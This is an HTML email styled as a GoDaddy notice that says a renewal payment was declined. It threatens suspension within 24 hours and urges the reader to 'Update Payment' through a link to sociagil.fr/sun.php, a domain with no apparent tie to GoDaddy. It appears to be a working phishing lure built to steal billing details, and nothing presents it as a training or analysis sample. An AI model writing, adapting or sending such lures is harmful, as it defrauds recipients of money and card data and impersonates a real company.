<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>⚠ Action Required: Update Your Payment Details</title>
<style>
body {
margin: 0;
padding: 0;
font-family: "Segoe UI", Roboto, Arial, sans-serif;
background: linear-gradient(180deg, #f7f8fa 0%, #e9ebf0 100%);
color: #222;
-webkit-font-smoothing: antialiased;
text-rendering: optimizeLegibility;
}
.container {
max-width: 560px;
margin: 60px auto;
background: #ffffff;
padding: 45px 55px;
border-radius: 16px;
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.08);
border: 1px solid #f0f0f0;
}
.logo {
text-align: left;
margin-bottom: 30px;
}
.logo img {
width: 160px;
height: auto;
filter: drop-shadow(0 2px 2px rgba(0,0,0,0.1));
}
.title {
font-size: 24px;
font-weight: 700;
color: #000;
margin-bottom: 25px;
text-shadow: 0 1px 0 rgba(0,0,0,0.05);
}
.message {
font-size: 15px;
line-height: 1.8;
color: #444;
margin-bottom: 25px;
}
.highlight {
color: #000;
font-weight: 600;
}
.button-wrapper {
text-align: center;
margin: 40px 0;
}
.button {
background: linear-gradient(90deg, #000 0%, #333 100%);
color: #fff;
text-decoration: none;
padding: 14px 40px;
font-size: 15px;
font-weight: 600;
border-radius: 50px;
display: inline-block;
letter-spacing: 0.5px;
transition: all 0.3s ease;
box-shadow: 0 6px 15px rgba(0,0,0,0.15);
}
.button:hover {
background: linear-gradient(90deg, #222 0%, #000 100%);
transform: translateY(-2px);
box-shadow: 0 8px 20px rgba(0,0,0,0.2);
}
.footer {
text-align: center;
font-size: 12px;
color: #777;
margin-top: 35px;
border-top: 1px solid #eee;
padding-top: 20px;
line-height: 1.6;
}
@media (max-width: 600px) {
.container {
padding: 30px 25px;
margin: 20px;
}
.title {
font-size: 20px;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQixfQW369rEJpZbhVX0kVppbFu6BU9eckbpFk-PNdMPUgQpV0U0RaT0Kp0TQ2XIu3noA&usqp=CAU" alt="GoDaddy Logo">
</div>
<div class="title">Action Required: Update Your Payment Details</div>
<div class="message">
Dear Customer,<br><br>
We were unable to process your recent GoDaddy service renewal because your payment method was declined.<br><br>
To prevent your services from being <span class="highlight">suspended within 24 hours</span>, please update your billing details immediately.
</div>
<div class="button-wrapper">
<a href="https://sociagil.fr/sun.php" class="button">Update Payment</a>
</div>
<div class="message">
Once updated, your renewal will be processed automatically.<br><br>
Thank you for choosing <strong>GoDaddy</strong>.
</div>
<div class="footer">
Copyright © 1999-2026 GoDaddy Operating Company, LLC. 100 S Mill Ave, Suite 1600, Tempe, AZ 85281 USA. All rights reserved.<br>
</div>
</div>
</body>
</html>